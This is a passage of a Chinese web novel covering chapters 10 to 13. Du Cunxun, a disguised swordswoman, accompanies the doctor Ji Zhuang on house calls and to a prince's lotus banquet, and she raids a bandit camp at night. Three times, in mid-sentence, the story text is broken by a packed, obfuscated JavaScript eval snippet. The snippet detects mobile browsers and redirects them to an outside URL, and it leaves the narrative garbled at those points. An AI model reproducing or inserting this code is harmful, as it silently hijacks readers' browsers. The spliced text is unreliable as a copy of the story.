陆辰术挑挑拣拣终于看中一头,牙人报出价钱,但那价钱抵得上挽娘卖一个月布匹赚得的银两。 陆辰术没骑过驴,也从来没人告诉过他租驴要花这么多银两,于是实实在在被这价钱吓得想跑,“恩人,我不骑了……” 但话还没说完,他就被杜存荀卡住腋窝放上了驴背,“别怕,驴很乖的,坐好。” 季庄跟在后头,掏出银两要付给牙人。 牙人没收,笑呵呵摆了摆手,“我们坊主跟杜姑娘也是老相识了,这头驴不值钱,就当借您这小徒弟遛一圈解解闷,今日之内将驴完好还回坊内就成。” “钱三,你这算盘打得挺精啊。”杜存荀不咸不淡来了一句。 “难得遇着您一回,不得精打细算一番。”钱三仍是笑呵呵的,“这几日生意不好,老坊主就盼着您这位贵客去马厩里挑上一匹良马……” “巧了,我这几日手头也紧得很,钱袋抠烂了都掉不出两个铜钱来。”杜存荀学他伸手不打笑脸人的气势,也对他笑,“该收多少就收多少,到点了你就来府中取。我受不住这天大的人情,也没那闲功夫特地给你送回去。” 季庄觉得她推脱的言辞不大妥当,正想说点什么,不料杜存荀抢在他面前,毫不客气将他推了出来,“咱们季大夫能花半两银子买几张破烂桌椅,不会吝啬这点小钱。” 季庄:“……” 原来一直记着。 —— 今日探访的第一户人家是夏家。夏家在家中开设了私塾,因此三人还未进门,就听见了里面的朗朗读书声。 下人进去传话后,一位慈眉善目的妇人走出来为他们带路,杜存荀认出她是夏荷的娘。 患病的是夫子夏恭的女儿,夏荷。 应是受了惊吓的缘故,夏荷这个月不仅癸水早来,还痛得厉害,夏夫人想着季庄对夏荷有恩,两人也是有缘,便差人去陆府邀季庄来为夏荷开方。 一番问候之后,季庄照常看舌象、把脉,谁知刚碰到夏荷的手,夏荷身子一抖,猛地把手缩了回去。 “荷儿被吓坏了,如今一见男子就害怕……”夏夫人难为情解释道。 “无妨。”季庄收回手,开始拟药方,“我再为她加些镇惊安神的药……” 杜存荀和陆辰竹不在意夏荷的病情,自从进来房间,两人便不停地东张西望,十分好奇。 这间房不是夏荷闺房,宽敞明亮,倒像是童子们吃饭休憩的房间。 杜存荀不曾进过私塾,小的时候是母亲教她读书认字,等到她长大了些,父亲便为她请了夫子来到将军府中教授。 陆辰竹此前跟着季庄诊病,倒是去过几次私塾,但回回都觉得新奇,这次也不例外。 趁两人打量的这会儿工夫,季庄已经写好了药方,起身告辞。 接过药方吩咐婢女去抓药后,夏夫人将三人送到门外,把香囊混进酬金里,一并塞到季庄手中。 杜存荀看在眼里,忍俊不禁。姜国向来有以香囊作定情信物的习俗。 想必是夏荷看上了英雄救美的季庄,又怕羞,于是托夏夫人不动声色替俩人牵条红线,促成一段姻缘。 谁知季庄收下银两,将香囊还了回来,正色道:“此礼甚重,庄不能收。” 陆辰术童言无忌,“夫人,季大夫自小就有了婚约的,不能收香囊。” “季大夫……已有了婚约?”夏夫人讶异。 季庄缓缓点头。 杜存荀也被陆辰术这一句话给惊到了。季庄原来还有个未婚妻。 竟从没听他提起过。 夏夫人牵线不成,看一眼陆辰竹,又起一计,“我听说大夫还在为陆家小公子寻夫子......夏家比不得陆家,没什么大作为,若大夫不介意,将他送来这里进学,也算是夏家报了这份救命之恩。不知大夫意下如何?” 杜存荀听完又吃一惊,低头去看还不及她腰身的小孩。 陆辰术看上去不过五六岁的年纪,她想不明白,为何这么早就要送他去拜师进学。 她一直长到五岁才见到母亲,才开始认字。 这时候有下人将驴牵来,杜存荀将陆辰术抱上驴背坐好。季庄和夏夫人又细谈了几句,这才与她告别。 下一户求诊的人家住得不远,季庄刚告诉陆辰竹指腹为婚不作数,马上又就被早早等在门口的百姓迎进门。 杜存荀抬脚要跟上去,见季庄朝她摇头,知道这是遇到了不愿透露病情的百姓,自觉停步,牵着驴和陆辰竹老老实实在门外等着。 陆辰术见季庄不在,又提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113911|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了他娃娃亲一事。 “我娘说的,季大夫一出生就有婚约,”陆辰术坐在驴背上,手掌小心地来回摸驴脖子,也不嫌脏,“怎么会不作数呢?” “成婚要两情相悦,还在肚子里的小孩怎能做主?”杜存荀笑答。 说起来,她倒也有个指腹为婚的未婚夫,但那是父亲与人说笑时口头结下的亲事。她与那位小郎君未曾谋面,只是听母亲曾提过一两次他的姓名,再无其他。 指腹为婚,不过是一时兴起,哪里能作数。 陆辰术却又神秘兮兮凑近,“恩人,我跟你说哦,此前有好几个美人姐姐想要送大夫香囊,大夫都没收。” “季大夫已经有了心上人?”杜存荀被提起了兴致。 “我也不知道,”陆辰术轻轻皱眉,看起来有些苦恼,“那些姐姐们过节时还会来找季大夫一起出去玩。” “我想出去玩,大家一起玩多热闹呀,但是大夫每次都不答应。”陆辰术拨弄自己的手指,“娘说大夫不喜欢她们,但是娘也不知道大夫喜欢什么样的女子。” “娘还说,季大夫已经及冠,早就应该娶妻了,再不娶妻,他就要孤独终老了。孤独终老,就是一个人慢慢变老,多可怜呀。” 孤独终老。 杜存荀愕然。 来财肉铺的厨娘赵氏曾经也这样说过她。 先前在来财肉铺当屠娘时,杜存荀与厨娘赵氏交好,赵氏常邀她到自己家中作客。 赵氏有两个儿子,长子孟山,年及弱冠,生得一派正气,二郎孟长林,今年八岁,模样乖巧,伶牙俐齿,杜存荀十分喜欢。每每到赵氏家中做客,杜存荀总要买些零嘴送给孟长林。 往来几次,杜存荀与二郎愈发亲近,谁知孟山却对她起了心思。此后,赵氏便有意撮合她与孟山。 她对孟山无意,也从未想过要当孟家的媳妇,于是直截了当拒了他心意,也少与孟家再往来。 赵氏知道后,语重心长同杜存荀谈了许久,无外乎是嫁作人妇相夫教子的话,杜存荀听得有些厌烦,语气冲了些,顶撞了一句,“怎就非得成家不可?” 赵氏一时口快,道:“你爹娘死得早,如今你也过了婚配的好年纪,要是再不成家,你这辈子孤独终老,可怎么办?” 好似孤独终老是这世间最残忍之酷刑。 —— 晚上回到陆府,杜存荀趁陆辰术不在身边,向季庄问起他去夏家进学的事情。 问过之后,杜存荀才知道,还不及她腰身的陆辰术,今年已经十二岁了。 挽娘身子弱,怀胎时又受了些风寒,陆辰术生下来时差点夭折。此后,陆辰术四岁才学会行走,五岁才学会说话,陆父还在世时,叫过不少郎中来瞧,无奈,皆束手无策。 当时陆辰术连头发都没几根,瘦得像个猴,府中上下都说小公子不长命,就连陆父也不太待见他这庶出的丑笨儿子。 陆行五岁时就已经请了夫子住进府中教授学业,但陆辰术七岁时却仍旧一副痴傻的模样,请夫子一事便搁置了下来。 后来陆父离世,陆行当家,再没提过让陆辰术修学业。陆辰术没有玩伴,无事可做,无事能做,整日就静静地待在挽娘身边,陪着她纺线织布。 直到三年前,季庄在陆府住下。 无意中撞见挽娘因陆辰术仍不会握笔写字而崩溃大哭后,季庄第一次为陆辰术开药。 季庄看出陆辰术这是因先天不足、后天失养而患了“五迟”。五迟,即立迟、行迟、语迟、齿迟、毛迟。 这病并非无可救药,只要施补得当,陆辰术仍然能与常人无异。 三年间,季庄一直在为陆辰术开方调理。除去服药,季庄每日带着他爬山采药锻炼筋骨,出门诊病时也鼓励他与人来往,教他如何为人处世。 虽然陆辰术现在仍然矮小如孩童,但,再细心调理三年,他的身子便能如雨后春笋般拔高,样貌也会施展开。 终会长成翩翩少年郎。 11. 第 11 章 陆辰术生平第一次骑了驴,心中既欢喜又愧疚,第二日不再闹着要出门,乖乖留在府中抄写医书。 杜存荀无论如何也想不到,她与季庄今日要探访的一户人家,有端王府。 端王是先帝的二哥,姜国出了名的闲散王爷。对外不问政事,不涉党争,对内不纳侧妃,耳根清净,虽比不得其他皇亲国戚,但小日子也过得滋润。 民间戏言端王为天下不劳而获第一人——不动必干戈而获封地,即使是巴掌大的一座荒岭,不必动劳身而获俸禄,即使衣食与寻常百姓相差无几。 百姓羡慕,慕他天生好命,兄弟鄙夷,嗤他不思进取。 杜存荀不慕他好命,也不笑他没志向,满朝文武、皇亲国戚,她最喜欢与他来往。 “府里头谁病了?”进府后,老奴在前边带路,杜存荀悄声问身侧的季庄。 季庄只轻轻摇头,示意她别问。 杜存荀老实作罢。看来王府里生病的也是一位不愿透露病情的百姓。 “烦请姑娘止步于此。”走到莲花池中的一处小亭,老奴停了下来,“季大夫,请继续随老奴来。” 季庄和老奴走远后,杜存荀一个人坐在亭中的石椅上,赏着满塘莲花。 若她没记错,一日后,便是端王宴请姜国王侯权贵前来赏莲的日子。 因端王妃素爱莲花,故端王在府中专辟出一块地来引水种莲。每到六月,一塘嫩莲,清香满园。 皇亲贵胄聚于池上大小不一的竹亭,有才情的吟诗作赋,善工笔的作画,喜热闹的凑成团畅谈,爱清净的便沿着荫凉的廊道细细赏莲。 父亲与同僚欢聚吃酒,她便和一群少爷小姐绕着池塘玩闹。 欢声笑语,流连忘返。 年年如此,岁岁亦然。 先前她受辛成柏吩咐潜进来,见到府中不曾变样的景致,倒是有过一时的怀念。 若说那时的触景生情不过是蜻蜓点水,雁过无痕,那此刻的怀念便如千军万马奔踏而来,惊天动地,所过之处皆尘沙飞扬。 尘沙中,她是一马当先破阵杀敌的骑兵少将,父亲是执掌十万烈林军的护国将军。 而今荷香依旧,却已经物是人非。 不多时,老奴带着季庄回到亭中,而后又送两人出府,可谓是寸步不离。 出了府,杜存荀开口,“王府中的莲花好生漂亮,可惜那老奴一直跟着,不然咱们还能停下来赏赏莲。” “姑娘喜欢赏莲?” 杜存荀点头,“再过一日,就是端王每年宴请宾客进府赏莲的日子。听说那场面可热闹了,有美酒有佳肴,能听曲还能看美人舞袖……” “只可惜咱们不在端王宴请之列,”季庄遗憾笑笑,“不然还能进去领略一番美景。” 杜存荀见他有意,于是顺水推舟,“不妨我们跟着陆大人进去……” 陆行定然是受了邀的。 季庄眼神抗拒,“这......” “罢了罢了,就算陆大人不带着咱们进去,也不碍事。”杜存荀胸有成竹,“我去租辆马车,悄悄跟在陆大人车后,你坐车里头,我在外头当车夫,若门房不拦自然最好,若是他问起,我就掀帘子叫他看你一眼,他定认得你。你别的不用说,只说老爷要你随行,剩下的交给我。” 季庄不语。 王府里侍卫众多,没有请帖自然不能进府,怎么不碍事?而且姜国向来缺马,他们并没有万贯家财,哪里租得起马车? 早在昨日从那牙人口中得知杜存荀常去买马,季庄心里就一阵不安。 这几年战乱频繁,姜国的马匹少之又少,良马都被送去边境当战马,城里头虽然只剩下些老弱病残,但要租借,也得花上不少银两。 普通百姓平日里不需用马,需要用马的,多是山间神出鬼没的匪徒,或是游走江湖行侠仗义的侠客。 杜若是匪还是侠,他拿不定主意。 季庄深信,人性本善,饶是穷凶恶极的匪徒也有弃暗投明的可能。杜存荀三番两次救他于危难,手段虽暴戾了些,但也是救人心切,无可厚非,更何况她也不曾伤及无辜。 所以他信她终究是个好人,尽管她过去可能犯下许多令人胆寒的恶行。 若她现在还是不改劣根,为了逞一时之快而揽不义之财,还要投机取巧使诡计蒙骗他人…… 他不能纵容她长恶念。 季庄摇头,“不行。” “为何?”杜存荀泄了气。她自认此计并无不妥。 季庄只答:“端王不曾邀我,我不能去。” 果然,杜存荀没再强求。 季庄放下心来。 谁知次日一早,端王差人专程送来请帖,邀他前去赴宴。 送请帖的仆从还传达了端王的歉意,说是王爷年纪大了,疏忽了,邀陆行时忘了添上季大夫的姓名,请大夫千万要体谅。 字里行间的敬与诚快要溢出纸张。 季庄受宠若惊,下意识看向杜存荀,杜存荀也正好看过来,神采飞扬,“怎么样,大夫,这下我们可以赴宴了吧?” “别皱眉了,端王府的车驾就在府外头,大家都知道你要与陆大人一同去王府赏莲。” “这好运要来,挡都挡不住,大夫你这是要飞黄腾达啊……” 季庄想辩驳,开了口却不知道说什么。 他猜测这请帖必是她暗中周旋才得来,但一夜之间能让他入端王的眼,绝不是她威逼利诱能做到的。 季庄从未如此想知道面前的女子是谁。 不料王府的仆从前脚离开,夏家的婢女后脚就提着糕点来到了面前,笑盈盈道:“灯节将至,我家小姐想邀大夫和杜姑娘还有陆小少爷一同赏花灯吃花糕,答谢诸位救命之恩。” 杜存荀一听,心里雀跃,只等季庄点头。 谁知季庄迟迟不点头。 “小姐这几日郁郁寡欢,老爷看着心疼,也是茶饭不思,夫人本打算这几日就定下陆小少爷进学的事,见老爷脸色不好,一时也无从开口……”婢女难为情道。 杜存荀静静听着,心中了然。不愧是过命的交情,这夏荷竟是因明和堂一事吃准了季庄,不仅不在意季庄有婚约在身,还拿陆辰竹进学一事来要挟。 季庄当然也听懂了婢女昭然若揭的心思,沉默半晌,以灯节忙于诊病抽不出空为由婉拒了婢女,末了还补上一句,“明和堂那晚不过是举手之劳,实在算不上恩情,还请姑娘回去转告小姐不必放在心上,安心养好身子才好。” 话是好话,却说得一点也不中听。 婢女拿了糕点和那封散发着淡淡花香的书信板着脸走了。 灯节出游转眼就泡了汤,陆辰竹进学更是白高兴一场,杜存荀心说季庄真是个犟种,救人时执着得十头牛拉不回,拒人的时候也是丝毫不拖泥带水,不给人留半分念想。 “大夫真是一点也不知道怜香惜玉,”杜存荀可惜,“既然婚约不作数,灯节带我和辰竹上街凑凑热闹也无坏处,指不定你与夏小姐日久生情,辰竹进学也有了着落,一举两得。” 季庄直直看着她,“你和辰竹想过灯节,不必夏小姐相邀,我们三人也可以去。” 杜存荀叹他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115277|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根筋,“大夫你这样真要孤独终老了。” 季庄无谓,“那又何妨。” 杜存荀见他难得赌气,一个大胆的念头冒了出来,“大夫,你该不会……真对寨主夫人有情吧?” 若不是觊觎有夫之妇,注定此生为情所困,这样一个安分守己的人又怎么会如此决绝,孤独终老也在所不惜。 季庄不置可否,杜存荀同情地拍拍他肩膀,“既然有心上人,那便尽力去争取,若是两情相悦,又怕什么世俗不容。你这样日日躲下去也不是办法,躲得了杀身之祸,躲不掉一片痴心,煎熬自己也耽误其他女子。” 季庄刚起了一点心思,杜存荀跃跃欲试又提醒道:“我助你拿下黑风寨的话一直都算数,等你凑齐了一百两白银,尽管来找我。你若是没那志向,不想接管黑风寨,只想和寨主夫人隐居山林自在逍遥,我也不强求,那一百两就当是顾怜的买命钱。你尽管放心,我有分寸,绝不会将你牵连进来,这桩买卖天知地知你知我知,事成之后我和你分道扬镳,再不相见……” 季庄脸色一沉,“钱财于你而言,当真如此重要?” “那是自然。”杜存荀不懂他怎么突然质疑她对金银的忠心,笑道,“先不提平日吃穿用度和疗伤的药粉药膏,我如今孤身一人,不得为自己挣点嫁妆嫁户好人家,万一落个残疾,也有人照料,不至于饿死街头。” 季庄皱眉,“你既然知道如此不能善终,为何不早早收手?” “我又没做伤天害理之事,惩恶扬善顺便赚些银子罢了,收什么手。身体发肤受之父母,我娘赐我一身力气,我白白浪费,路见不平不拔刀相助,岂不是不孝。” 季庄说不过她,气得攥紧了手,杜存荀看他手里的请帖都被攥得皱巴,心里不是滋味,“大夫,这请帖是我辛苦求来的,你可别将王爷的邀约也拒了。” 季庄一听,对她更加戒备,“你到底是谁?” 杜存荀似笑非笑,“怎么,大夫发现我深藏不露,想要傍上我?” 季庄不语。一双清亮眸子黑得发沉。 他竟然越发看不透她。 “大夫,我奉劝你一句,”杜存荀像是没事人一样,背着手踱步从后面绕至他面前,“做人别太较真,凡事都要求个所以然,很累的。” “我再奉劝你一句,要想知道一个人是谁,你大可偷偷找人去查他身世,留意他与何人来往……法子千万种,千万别当面问他。” 杜存荀摇头晃脑说得十分玄乎,季庄皱眉,“为何?” “因为他不知道要怎么回答。”杜存荀耸肩,“要是运气不好,遇上个不想回答的,说不准会把问话的蠢人给灭掉。” 杜存荀做出抹脖子的动作。 “不过大夫你放心,我不是不讲理的人。”看着季庄脸上表情变了又变,杜存荀发现逗季庄还挺有意思,“这样,你来猜,猜对了我就告诉你,猜错了我就继续骗你。” 季庄再多的耐心再好的脾气,也被杜存荀这弯弯绕绕的逗弄给磨没了。 季庄抿着唇没猜,一甩袖要走。 杜存荀料想他应该是生了气,慢慢收住玩笑,“大夫你将王府里生病的人治好了,端王信你、赏识你,邀你一同去看个花而已,又不是要为你封官进爵,这么紧张做什么……我一个籍籍无名的武夫,徒有一身蛮力,哪里能左右王爷的想法。” “我从小混迹江湖,说白了就是四海为家,大夫你要问我是谁,我自封了那么多名号,说出来自己都臊得很,想必大夫也不乐意听,听了也不会当回事。” “大夫,你所见到的,就是我。” 12. 第 12 章 入夜,杜存荀溜出陆府,来到巷尾与何端会合。 何端一身玄色,脸也遮得严实,只露出一双明亮眼睛,“顾怜今日不在寨中,我们救出了眷婴就走,万不可打草惊蛇。” 眷婴是眷家大小姐,一直养在深闺,大门不出二门不迈,月底就要出嫁,今日却忽然不见了踪影。眷家老爷虽然尚未收到求赎金的信,但疑心眷婴是被黑风寨掳走,于是对外声称眷婴生病回老宅静心休养,暗地里却找上了老友辛成柏。 辛成柏应下这份人情,救眷婴这一事自然就落在了何端和有求于人的杜存荀身上。 杜存荀接过何端递来的包袱,套上里面的夜行衣,将长发一丝不苟盘起来。 何端从怀里翻出画着黑山地形的草纸在手中摊开。 晏州西边有座黑山,山上除了树,就是匪。山顶住着黑风寨,底下闹哄哄四个小寨子。这五个寨子虽臭味相投,但也谈不上情同手足,只能说是井水不犯河水。 “我们走这条路,经过风卷寨后山路险峻,最好向西行……”何端的指尖在草纸上来回描着路线。 杜存荀凑到他身旁听得十分认真,何端一丝不苟说完,倒是不急着启程,“后背的伤恢复得如何了?” 杜存荀动了动肩膀,不以为意,“你抽得轻,都是皮肉伤。” “大人也不是真的想罚你。” “我知道。”杜存荀一笑而过,何端只看到她月牙般的眉眼,“老头就是想让我长记性。放心吧,这次我不会乱动手。” “那赏莲的宴会,当真有那么好?”何端又问。 “能白吃白喝,自然是好。”杜存荀凑近,“你若是也想去,跟大人撒个娇,叫他找个由头带上你。” 何端不再言语。 他与她,在辛成柏面前,怎能够相提并论。 两人一路向西,轻车熟路躲过巡夜的官兵,翻过城墙,一前一后隐入山林蜿蜒而上。 在寨子里黑灯瞎火摸索了一圈,两人却没找到眷婴的踪影。 倒是最高处的房里透出通明灯火,亮得人心痒。 杜存荀当机立断,敲晕了一个因解手而落单的莽汉,三两下套上他的衣裳,扯乱了长发,大摇大摆上了楼。 何端自知拦不住,只好由着她去。 黑风寨里大小不一的木楼依山而建,靠木梯和绳梯相为交通,重叠交错,结构复杂,杜存荀不常来,找不着踏实上去的路,索性脚蹬木梯手攀麻绳,眨眼间便不声不响到了顶。 一群莽汉正围在房门口听里头的动静,杜存荀咽了颗变声的药丸,若无其事凑过去,正好站在角落的阴影处。 “咋样?”杜存荀吊着一口气问,“听到啥动静没?” 一圈汉子闻声吓了一跳,眼角瞥一眼衣裳知道是自己人来凑热闹,虚惊一场,便只是不满地瞪她一眼,示意她安静些,就不再搭理。杜存荀正犹豫着是否要离开,却听见里头摔了杯子。 房间里传出来的叫骂声很脏,杜存荀支起耳朵去听,入耳净是些与眷婴一事无关的责骂。什么窝囊废、猪狗不如,恨不得把人骂进坟里再撒上一泡尿。 杜存荀心里打鼓。黑风寨里,即使骂声响彻千里也不知收敛的,除了寨主顾怜,再无他人。 可惜顾怜骂得声嘶力竭,全是废话,被骂的人更是一声不吭。也不知道他骂的是不是成事不足败事有余的黑脸。 正听着起劲,里头却有脚步声迫近,杜存荀反应快,身子往栏杆上一靠就是翻,双手稳稳抓着底下绳梯吊在半空。其余脑袋灵光的,跑不掉但也找到角落躲了起来,只剩下一手脚不好使的矮个儿,被出来的人拔刀割了右边的耳朵。 那一声嚎叫听得所有人心惊。 “还有谁在偷听?”顾怜的声音并不粗犷,恰恰相反,温柔得不像话。 何端守在寨外高树上,一眼认出顾怜,眉头轻皱。 “还有张,张七……”矮个儿刚哆嗦着供出一个名字,原本偷听的众人便一股脑跪在顾怜跟前连连磕头认错。 杜存荀躲在底下,大气不敢出,所幸顾怜没再多问,只是给了他们一人一巴掌,又大骂了一通,便摔门进去了。顾怜进门后,杜存荀心知再套不出话来,溜得飞快。 “不是说顾怜不在寨中吗?”路上,杜存荀忍不住问。 顾怜的行踪向来飘忽不定,就像他这人的性子,喜怒无常,想一出是一出。何端道不出所以然,只说先回去禀告大人再做决断。 杜存荀知道辛成柏不敢动顾怜,于是让何端一人去见辛成柏,自己则对镜将长发高高束起,擦去了脸上脂粉后,又描了两道剑眉,再穿上一身艳红男装,径直往云想楼而去。 辛成柏再神通广大,也只是一个官员,以他一人之力,奈何不了黑风寨寨主顾怜。 江湖上的事,还得请教江湖中人。 —— 正是夜深人静的时候,就是纸醉金迷的云想楼也只亮了几处小灯。 杜存荀甫一进门,云想楼的虔婆花娘扭着纤细腰肢迎上来,“宋公子……” “我找沉香姑娘。”杜存荀后退一步,舒扇掩面,“可还有闲下来的雅间?” “自然是有的。”花娘面露难色,“只不过沉香姑娘这时候不得空,公子若是想听曲,楼里还有几位姑娘琴艺了得……” “怎就不得空了?”杜存荀啪的一声将扇骨一合,满脸不爽,扬声,“这天儿都黑成这样了,哪位爷整宿不睡觉,折腾我的美人?” 绕梁琴声戛然而止,不多时又缓缓续上。 “公子息怒……” “花娘知道我夜里睡眠难安的毛病,又只钟意沉香一人,这会儿拿其他货色打发我,这是不打算做我生意了?” “哎哟,宋公子你可真是冤枉我了……”花娘卷了一身浓郁香味如风一样裹住杜存荀,“花魁大会这不是要到了嘛,姑娘们要忙着练舞呐,公子您瞧……” 花娘纤细手指往偏堂里一点,屏风后尽是袅娜身姿,影影绰绰,“楼里的琴师这几日染了风寒,不能来,沉香琴艺颇佳,我就叫沉香替他抚琴去了。公子若是想要沉香作陪,我这就叫姑娘们先歇着。” 杜存荀也不与她客气,问道:“朗月间可还空着?” 花娘眼珠子转了转,柔声道:“知道公子喜欢,特意留着呢。” “这些天我不得空来,旁人用过么?” “公子既然放话了,我自然是不让他人用的。” “之后几日我会常来,来之前沉香须得在房中等着我。叫我等她,像什么话。”杜存荀冷哼一声。 “公子,”花娘面露难色,“这沉香也不是您一人所有,我既收了沉香进楼,总不能委屈了她,叫她不见客……” “家里那位不解风情处处约束,偷摸来这儿也讨不到乐子,往后我何苦将大把银子花在这云想楼里。”杜存荀脸色更黑,“花娘接手云想楼也有些年头了,可见哪位官爷替艺伎赎身不是再三思量?位置越高受制越多,若正室挑不出错,妾室怎能轻易入门。花娘见多识广,本应明事理通人情,如今却这样心急,莫非是沉香已受了委屈,不想我发觉?” 花娘终于笑不出来,神色一凛,“楼里姑娘皆是卖艺不卖身,这规矩从不曾变过。还请公子收回方才的不实猜测。” “但愿如此。”杜存荀对她也没好脸色,懒得再和她多纠缠,转身上楼,“辛苦花娘安排。” 杜存荀进了朗月间没多久,年楚抱琴推门而入,“琴音都掩不住你和花娘吵嘴的声音。” “谁叫她夜里都不让你休息。白日抚琴迎客,夜里还要弹琴伴舞,再好的一双手都弹坏了。”杜存荀整个人仰躺在香软榻上,懒洋洋不愿动。 黑风寨在山顶,顾怜房间建得还那样高,云想楼里朗月间也高。折腾这么一晚上,爬上又爬下,差点没把她累死。 年楚在琴后落座,垂眸,拨动几根琴弦调音,“今夜你是为了眷婴一事而来?” “你知道?”杜存荀一下弹坐起来。 “你已经之所以来,不正是因为我善于探听消息?”年楚笑。 杜存荀看她笑了,浑身松懈,安心躺回软榻上,闭眼小憩。 年楚拨弦,却不像往常那样如说书人一般告知她来龙去脉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15123453|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这事不简单,你别多管闲事。” “怎么个不简单法?”杜存荀问。 “与你无关。” 杜存荀知分寸,不再细问,翻身看着年楚提捻琴弦,“我总不能见死不救。” “你好生养着伤,自有人去救。” “谁?” “愿者上钩。” “当真?” “我何必哄你?” 一曲未弹毕,杜存荀赶紧叫停,抬手招呼年楚坐到身边,“做做样子得了,我心疼你劳累才来花银子,你再弹下去岂不是辜负我好意。过来陪我说说话。” 琴音消散,杜存荀灵光一闪,“听闻连家的二少爷吊儿郎当,身边莺燕不断,难不成眷婴想逃婚,于是借黑风寨之手跟心上人私奔?” 年楚不置可否,款款走到榻沿坐下,双眸轻抬,“你对那位大夫动情了?从前你不会说出与心上人私奔这样的话。” “是他动情了。”杜存荀侧身,撑起一只手臂托脸,笑,“为了那沈清,季庄恨不得将天下女子都拒之门外。我向他自荐,想帮他除掉顾怜,可惜他积蓄太少,又不肯破心中的规矩大肆敛财。” 年楚莞尔,“他倒是胆大痴情。” “痴情人有趣。”杜存荀也笑。 然而笑着笑着就看到了年楚手腕上系着的赤血坠。 她还戴着。 “那个坠子,别戴了。” “怎么?” “这是宫里的东西。太招摇。” “你认得这坠子?”年楚举起手臂,脸上少见的讶异。 “这坠子是蛮国昔日进献的贡品,天下只有三枚。这三枚坠子当年由我爹护送进宫。” 赤血坠由山中血玉打磨而成,裹以蛮国上等楠木,可留存千年,寓意一片赤心,矢志不渝。 年楚抬手摩挲那剔透的红坠子,笑道:“那还真是值钱。” “等过去这个月,我拿到酬金,很快就能将你赎出来,你再也不用委身于这楼中。”杜存荀看她低眉含笑,心里一紧,忍不住将自己的计划道明。 她已经攒下许多银两,等陆家交付酬金,就只差二百两银便能将年楚赎出来。 年楚手中动作一停,抬眸,“我不需你帮我赎身。” “怎么不需?那张平都将赤血坠送给你了,我再不将你赎出来,花娘将你卖给他做妾可怎么办?” 杜存荀记得很清楚,这三枚赤血坠,平远侯霍濂因护驾有功得了一枚,礼部尚书张平因向皇帝举荐仙人得了一枚,还剩下一枚被先帝当作生辰贺礼之一送给了皇后。 霍濂如今垂垂老矣,先帝死后,皇后也带着坠子殉葬,如今只剩下张平。 张平与皇族沾亲带故,位高权重,赎一个青楼女子自然不在话下,且张平为人厚道,定不会亏待年楚。可如今张平儿女双全,正妻许氏母族强盛,身体也康健…… 若年楚真入了张家的门,怎么会落得好下场。 等到哪一日张平撒手人寰,她便是下一个挽娘。 “我若是贪图一时自由,明日便能找人将它卖了,”年楚道,“但那以后,我便无处可去了。” “怎会无处可去?你可以搬来同我一起住。” 年楚听了杜存荀这话,又笑。 她一个女子,手无缚鸡之力,孤苦伶仃,哪里有去处。她有的,不过是一张皮囊和一手琴艺,但出了青楼,这两样中哪一样足以让她安身立命? 她知道寄人篱下的滋味,杜存荀不知。杜存荀自小不愁衣食,是慷慨施舍的主子,不知道什么叫隐忍,如今虽然落魄得要隐姓埋名,但终究有一技傍身,说话做事都有常人所不能企及的底气,除了入朝为官,总能为自己谋一条生路。 而她,能够进来云想楼安安分分卖艺,受云想楼庇护,免遭好色之徒侵扰,不必去妓院卖身,也不用去敌国和亲,就已经是老天爷垂怜。 但杜存荀是什么脾性她十分清楚。 她想给的,总能给到人手里。 她想要的,也总能得到。 “那好,到时候你将我赎出来,咱们一起住。” 13. 第 13 章 季庄第二天一早见到杜存荀的时候,差点没认出她。杜存荀撅着红艳艳的唇,解释说她虽然不是座上宾,但去王府赴宴还是要好好打扮一番。 季庄虽然觉得面前换了个人,但经过昨日的教训,硬是将疑惑忍住了。 反正她也不会对自己说真话。 杜存荀顶着一张不像自己的脸,跟在季庄身侧一起入场,目送他作为座上宾被引去池中央,自己则被领着挤到一众奴仆中去,规规矩矩站好。 今年的赏莲宴会与往年并无不同,依旧是欢声笑语,觥筹交错。 杜存荀远远看着季庄与人相谈甚欢、笑语不断。 她耳朵灵,纵使离得远,仍能将喧闹中的那些奉承、寒暄亦或是别的闲聊听得一清二楚。 不止季庄,到会之人皆春风得意,这一位升了官,那一位发了财,久病的痊愈了,孤身的也寻到良人成了家。 但她不是辛成柏,也不是年楚,不爱听那些明里暗里的尔虞我诈,也没那个心思打探各种消息。 凉亭下热热闹闹,奴仆们干站着也乏味,很快,许多挨得近的也七嘴八舌聊了起来。 杜存荀正要找机会走远点,好落个耳根清净,却拦不住身旁一个婢女耐不住寂寞来与自己搭话。 “姑娘,你是哪一家的?” 杜存荀想了想,答:“陆家的。” “我是张家大夫人房里的。”婢女指了指端王身侧正在举杯的张平,“陆家跟张家这几日来往得多呢,连我都见着了陆老爷几次。” 杜存荀这才发现,辛成柏的死对头张平也来了宴会。 